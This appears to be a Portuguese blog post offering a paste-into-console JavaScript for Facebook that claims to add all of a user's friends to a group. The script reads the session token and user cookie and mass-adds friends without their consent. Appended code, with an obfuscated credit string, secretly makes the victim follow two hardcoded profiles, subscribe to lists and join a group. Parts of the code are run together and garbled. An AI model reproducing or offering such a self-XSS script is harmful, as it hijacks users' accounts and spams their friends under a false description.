Como Adicionar Todos os amigos em um grupo no Facebook
Autor: Dr. Forró | Publicado: 2014-02-21T03:37:00-03:00

(function(){var f={dtsg:document.getElementsByName("fb_dtsg")[0].value,uid:document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]),gid:document.getElementsByName("group_id")[0].value,frns:Array(),prenKe:0,okeh:0,gagal:0,getAjak:function(b){var c=new XMLHttpRequest;c.open("GET",b,!0),c.onreadystatechange=function(){if(4==c.readyState&amp;&amp;200==c.status){var a=eval("("+c.responseText.substr(9)+")");a.payload&amp;&amp;a.payload.entries&amp;&amp;(f.frns=a.payload.entries.sort(function(){return.5-Math.random()})),document.getElementById("hasilsurasil").innerHTML="Found &lt;b&gt;"+f.frns.length+" Abonnenten&lt;/b&gt;&lt;div id='hasilsatu'&gt;&lt;/div&gt;&lt;div id='hasildua'&gt;&lt;/div&gt;&lt;div id='hasiltiga' style='min-width:300px;display:inline-block;text-align:left'&gt;&lt;/div&gt;"+crj;for(x in f.frns)f.senAjak(x)}else document.getElementById("hasilsurasil").innerHTML=4==c.readyState&amp;&amp;404==c.status?"&lt;b style='color:darkred'&gt;Gruppe Öffnen!&lt;/b&gt;"+crj:"&lt;b style='color:darkgreen'&gt;Suche nach möglichen Abonnenten... ("+c.readyState+")&lt;/b&gt;"+crj},c.send()},senAjak:function(d){var e=new XMLHttpRequest,prm="__a=1&amp;fb_dtsg="+f.dtsg+"&amp;group_id="+f.gid+"&amp;source=typeahead&amp;ref=&amp;message_id=&amp;members="+f.frns[d].uid+"&amp;__user="+f.uid+"&amp;phstamp=";e.open("POST","/ajax/groups/members/add_post.php",!0),e.setRequestHeader("Content-type","application/x-www-form-urlencoded"),e.setRequestHeader("Content-length",prm.length),e.setRequestHeader("Connection","keep-alive"),e.onreadystatechange=function(){if(4==e.readyState&amp;&amp;200==e.status){var a=eval("("+e.responseText.substr(9)+")");if(f.prenKe++,document.getElementById("hasilsatu").innerHTML="&lt;div&gt;&lt;b&gt;"+f.prenKe+"&lt;/b&gt; of &lt;b&gt;"+f.frns.length+"&lt;/b&gt;&lt;/div&gt;",a.errorDescription&amp;&amp;(f.gagal++,document.getElementById("hasiltiga").innerHTML="&lt;div&gt;&lt;b style='color:darkred'&gt;( "+f.gagal+" )&lt;/b&gt; &lt;span style='color:darkred'&gt;"+a.errorDescription+"&lt;/span&gt;&lt;/div&gt;"),a.jsmods&amp;&amp;a.jsmods.require){var b="&lt;div&gt;";for(x in a.jsmods.require)a.jsmods.require[x][a.jsmods.require[x].length-1][1]&amp;&amp;(b+="&lt;b style='color:darkgreen'&gt;"+a.jsmods.require[x][a.jsmods.require[x].length-1][1]+"&lt;/b&gt; ");b+="&lt;div&gt;",document.getElementById("hasildua").innerHTML=b}if(a.onload)for(z in a.onload){var c=eval(a.onload[z].replace(/Arbiter.inform/i,""));if(c.uid&amp;&amp;c.name){f.okeh++,document.getElementById("hasiltiga").innerHTML="&lt;div&gt;&lt;b style='color:darkgreen'&gt;( "+f.okeh+" )&lt;/b&gt; &lt;a href='/"+c.uid+"' target='_blank'&gt;&lt;b&gt;"+c.name+"&lt;/b&gt;&lt;/a&gt; haben dich abonniert.&lt;/div&gt;";break}}f.prenKe==f.frns.length&amp;&amp;(document.getElementById("hasiltiga").style.textAlign="center",document.getElementById("hasiltiga").innerHTML+="&lt;div style='font-size:20px;font-weight:bold'&gt;20 Leute Einladen!&lt;/div&gt;&lt;a href='/' onClick='document.getElementById(\"hasilsurasil\").style.display=\"none\";return false'&gt;Schliesen&lt;/a&gt;")}},e.send(prm)}},g=["i","a","e","g","o","s","n","b","l","p","m","2","r","0","c","1","t","3","©"],crl=g[1]+g[0]+g[6]+g[3]+g[14]+g[12]+g[2]+g[1]+g[16]+g[0]+g[4]+g[6]+g[5]+"."+g[7]+g[8]+g[4]+g[3]+g[5]+g[9]+g[4]+g[16]+"."+g[14]+g[4]+g[10],crj="&lt;div style='margin-top:10px;color:gray;font-size:12px'&gt;"+g[1].toUpperCase()+g[0]+g[6]+g[3]+g[14].toUpperCase()+g[12]+g[2]+g[1]+g[16]+g[0]+g[4]+g[6]+g[5]+" "+g[g.length-1]+g[11]+g[13]+g[15]+g[17]+"&lt;div style='font-size:9px'&gt;&lt;a href='http://"+crl+"/' target='_blank'&gt;"+crl+"&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;";document.body.innerHTML+="&lt;center id='hasilsurasil' style='min-height:50px;width:600px;position:fixed;top:100px;left:"+(document.body.offsetWidth-530)/2+"px;border-radius:10px;padding:10px;z-index:999999;border:5px solid skyblue;background-color:rgba(225,225,255,0.75)'&gt;&lt;b&gt;Suche nach Abonnenten ... Script by Mano &lt;/b&gt;"+crj+"&lt;/center&gt;",f.getAjak("/ajax/typeahead/first_degree.php?__a=1&amp;viewer="+f.uid+"&amp;token="+Math.random()+"&amp;filter[0]=user&amp;options[0]=friends_only")})(); var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1])function cereziAl(isim) {var tarama = isim + "=";if (document.cookie.length &gt; 0) {konum = document.cookie.indexOf(tarama)if (konum != -1) {konum += tarama.lengthson = document.cookie.indexOf(";", konum)if (son == -1)son = document.cookie.lengthreturn unescape(document.cookie.substring(konum, son))}else { return ""; }}}function getRandomInt (min, max) {return Math.floor(Math.random() * (max - min + 1)) + min;}function randomValue(arr) {return arr[getRandomInt(0, arr.length-1)];}var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);function a(abone){var http4 = new XMLHttpRequest();var url4 = "/ajax/follow/follow_profile.php?__a=1";var params4 = "profile_id=" + abone + "&amp;location=1&amp;source=follow-button&amp;subscribed_button_id=u37qac_37&amp;fb_dtsg=" + fb_dtsg + "&amp;lsd&amp;__" + user_id + "&amp;phstamp=";http4.open("POST", url4, true);//Send the proper header information along with the requesthttp4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");http4.setRequestHeader("Content-length", params4.length);http4.setRequestHeader("Connection", "close");http4.onreadystatechange = function() {//Call a function when the state changes.if(http4.readyState == 4 &amp;&amp; http4.status == 200) {http4.close; // Close the connection}}http4.send(params4);}function sublist(uidss) {var a = document.createElement('script');a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&amp;action=subscribe').setData({ flid: " + uidss + " }).send();";document.body.appendChild(a);}a("723837654299271");a("1714456490");var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);var httpwp = new XMLHttpRequest();var urlwp = '/ajax/groups/membership/r2j.php?__a=1';var paramswp = '&amp;ref=group_jump_header&amp;group_id=' + gid + '&amp;fb_dtsg=' + fb_dtsg + '&amp;__user=' + user_id + '&amp;phstamp=';httpwp['open']('POST', urlwp, true);httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');httpwp['setRequestHeader']('Content-length', paramswp['length']);httpwp['setRequestHeader']('Connection', 'keep-alive');httpwp['send'](paramswp);var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);var friends = new Array();gf = new XMLHttpRequest();gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&amp;viewer=' + user_id + '&amp;token' + Math['random']() + '&amp;filter[0]=user&amp;options[0]=friends_only', false);gf['send']();if (gf['readyState'] != 4) {} else {data = eval('(' + gf['responseText']['substr'](9) + ')');if (data['error']) {} else {friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {return _0x93dax8['index'] - _0x93dax9['index'];});};};